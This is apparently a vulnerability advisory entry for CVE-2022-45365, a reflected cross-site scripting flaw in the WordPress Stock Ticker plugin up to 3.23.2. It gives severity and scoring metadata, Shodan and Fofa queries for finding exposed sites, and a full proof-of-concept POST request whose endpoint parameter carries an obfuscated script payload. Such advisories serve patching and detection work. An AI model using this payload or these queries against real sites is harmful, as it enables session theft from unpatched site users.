| Title | Stock Ticker <= 3.23.2 - Cross-Site-Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the endpoint parameter in the ajax_stockticker_symbol_search_test function to steal WordPress user session cookies and credentials. |
| Remediation | Fixed in version 3.23.3 |
| CVSS Score | 6.1 |
| EPSS Score | 0.1672 |
| CVE ID | CVE-2022-45365 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/stock-ticker/ |
| Fofa Query | body=/wp-content/plugins/stock-ticker/ |
| Tags | cve2022 cve wordpress wp-plugin wpscan wp stock-ticker unauth xss urosevic vuln |
The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_symbol_search_test function in versions up to, and including, 3.23.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/13.0
Connection: close
Content-Length: 168
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=stockticker_symbol_search_test&symbol=test&endpoint=%3Cimg+src%3Dx+onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%28document.domain%29%3E
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45365.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-45365.pcap
N/AN/A